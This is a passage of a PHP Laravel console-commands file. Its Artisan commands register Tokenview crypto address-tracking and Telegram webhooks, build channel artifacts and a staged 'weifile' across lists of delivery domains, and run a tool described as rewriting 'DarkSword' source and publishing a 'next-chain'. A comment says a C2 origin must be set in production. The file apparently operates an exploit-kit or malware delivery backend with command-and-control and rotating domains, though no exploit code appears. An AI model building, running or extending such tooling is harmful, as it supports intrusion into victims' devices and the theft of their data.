everyMinute() ->withoutOverlapping() ->runInBackground(); Artisan::command('inspire', function () { $this->comment(Inspiring::quote()); })->purpose('Display an inspiring quote'); Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null) { /** @var TokenviewClient $client */ $client = app(TokenviewClient::class); if (! $client->enabled()) { $this->error('TOKENVIEW_API_KEY is empty'); return 1; } $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/tokenview'; $this->info('Setting webhook URL: '.$url); if ($client->setWebhookUrl($url)) { $this->info('OK'); return 0; } $this->error('Failed — check Tokenview API response / credentials'); return 1; })->purpose('Register Tokenview address-tracking webhook URL'); Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) { $token = (string) config('nutgram.token', ''); if ($token === '') { $this->error('TELEGRAM_BOT_TOKEN is empty'); return 1; } $url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram'; $secret = (string) config('coruna.telegram.webhook_secret', ''); $payload = [ 'url' => $url, 'allowed_updates' => ['message', 'callback_query', 'my_chat_member'], ]; if ($secret !== '') { $payload['secret_token'] = $secret; } $this->info('Setting Telegram webhook URL: '.$url); $resp = Http::timeout(20) ->asJson() ->post("https://api.telegram.org/bot{$token}/setWebhook", $payload); if ($resp->successful() && ($resp->json('ok') === true)) { $this->info('OK'); return 0; } $this->error('Failed: '.$resp->body()); return 1; })->purpose('Register the site Telegram webhook'); Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () { $channelC = trim((string) $this->option('channel-c')); $random = (bool) $this->option('random-c'); try { $result = app(ChannelProjectService::class)->buildSharedArtifacts( $channelC !== '' ? $channelC : null, $random, ); } catch (Throwable $e) { $this->error($e->getMessage()); return 1; } $c = (string) data_get($result, 'seeds.channel_c', ''); $this->info('XXBB_CHANNEL_C='.$c); $this->info('details -> /details/'); $staged = (string) ($result['staged_weifile'] ?? ''); if ($staged !== '') { $this->info('staged weifile -> '.$staged); } $this->line('domains:'); $domains = array_values((array) data_get($result, 'domains.deployment', [])); if ($domains === []) { $this->warn('(empty)'); } foreach ($domains as $i => $domain) { $this->line(sprintf(' %03d %s', $i + 1, $domain)); } $configured = strtolower(trim((string) config('coruna.xxbb.channel_c', ''))); if ($c !== '' && $configured !== $c) { $this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。'); } return 0; })->purpose('Build shared xxbb /details and staged weifile from channel c'); Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () { $script = base_path('channel-builder-ds/tools/build.py'); if (! is_file($script)) { $this->error('missing '.$script); return 1; } $args = ['python3', $script]; $host = trim((string) $this->option('host')); $port = trim((string) $this->option('port')); $origin = trim((string) $this->option('origin')); if ($origin === '' && $host === '') { $origin = rtrim((string) config('app.url'), '/'); $this->warn('未传 --origin,使用 APP_URL: '.$origin); $this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名'); } if ($origin !== '') { $args[] = '--origin'; $args[] = $origin; } if ($host !== '') { $args[] = '--host'; $args[] = $host; } if ($port !== '') { $args[] = '--port'; $args[] = $port; } $this->info(implode(' ', $args)); passthru(implode(' ', array_map('escapeshellarg', $args)), $code); return $code; })->purpose('Rewrite DarkSword source and publish public/next-chain'); Artisan::command('coruna:channel-domains {--json}', function () { $domains = array_values(array_filter(config('coruna.channel_domains', []))); if ($this->option('json')) { $this->line(json_encode($domains, JSON_UNESCAPED_UNICODE)); return 0; } if ($domains === []) { $this->warn('(empty)'); return 0; } foreach ($domains as $d) { $this->line($d); } return 0; })->purpose('Print configured channel delivery domains (settings / env)');